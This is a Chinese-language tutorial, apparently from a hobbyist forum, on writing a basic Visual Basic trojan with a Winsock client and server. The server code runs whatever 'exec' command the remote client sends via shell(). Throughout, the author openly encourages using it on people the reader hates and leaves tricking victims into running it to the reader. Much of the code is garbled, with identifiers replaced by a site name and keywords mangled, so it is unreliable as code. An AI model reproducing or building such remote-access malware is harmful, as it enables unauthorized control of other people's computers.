vb编写木马程序
今天我为大家讲如何用vb编写"木马"程序
木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给
攻击对象用的,千万不可用错了----给自己种马的人......^0^
客户程序才是给自己用的,于是我们就用vb建立两个程序,一个为服务器端程序cockhorseserver,另一个为
客户端程序cockhorseclient.
先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来
输入服务器的ip地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.
代码我写下:
privatesuborgmand1_click
'调用connect方法,初始化连接.
bxwx.org=bxwx.org
bxwx.org=val(bxwx.org)'这是端口号,默认为100bxwx.org'和指定的ip相对的计算机相连接
bxwx.org=false
endsub
(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.
privatesubtcpclient_dataarrival(byvalbytestotallong)
dimstrdatastrinbxwx.orgstrdata
strdata="testconnect"thebxwx.org="connectok"+vbnewline+localip":"+-bxwx.org+"orgputername:"+bxwx.org
bxwx.org=bxwx.org+vbnewline+"remoteis:"+-bxwx.org+"orgputername:"+bxwx.org
instr(trim(strdata),"closeok?")>0thebxwx.org
end
endibxwx.org=bxwx.org+vbnewline+bxwx.org+":"+strdata
endsub
endsub
这是这一段代码
cockhorseclient程序的核心部分就是这些,下面我讲cockhorseserver程序
cockhorseserver程序也是先建立一个窗体,也要加载一个winsock控件,(方便一些,我在同一个工程下建立这
个窗体).如果当cockhorseclient程序运行时,cockhorseclient程序就会对cockhorseserver发出连接请求,
为了完成这个连接任务,可以用connectionrequest事件来完成,然后就是具体的错误情况的表达.
代码我打出来:
index=0then
intmax=intmax+1
loadtcpserver(intmax)
tcpserver(intmax).localport=0
tcpserver(intmax).acceptrequestid
orgbol_ip.additem(tcpserver(intmax).remotehostip)
orgbol_ip.text="填上你的恨的人的ip吧!"
tcpserver(intmax).orgnddata"testconnect"
end
呵呵.刚才忘记定义名称了
它的效果是:在cockhorseclient程序被按下的时候,cockhorseserver程序的connectionrequest事件被触发,
从而执行上面的程序,产生连接.
现在的cockhorseserver程序只能做链接,还不能处理cockhorseclient程序所发出的指令,我们还必需用
dataarrival事件.
代码是这样的:
privatesubtcpserver_dataarrival(indexinteger,byvalbytestotallong)
dimstrdatastring
dimcheck_blong
errorgogoerr_pro
tcpserver(index).getdatastrdata
check_blong=instr(trim(strdata),"exec")
check_blong>0then
strdata=trim(strdata)
strdata=right(bxwx.org(strdata)-4)
bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"要求执行下面的程序："+strdata
shell(strdata)
else
check_blong=instr(trim(strdata),"closeok")
check_blong>0then
tcpserver(index).close
orgbol_ip.removeltem(index-1)
bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"已经断开！"
elsbxwx.org=tcpserver(index).remotehostibxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+strdata
end
endsub
end
err_pro:
err=53then
msgbox"所执行的程序的路径有错误!",+tcpserver(index).remotehostip+"该程序在执行时被拒绝!"
tcpserver(index).orgnddata""
end
resumenext
endsub
这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让mm运行你编写的木马服务端程序,那就是你的自己的事情啦!
好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰vb了.呵呵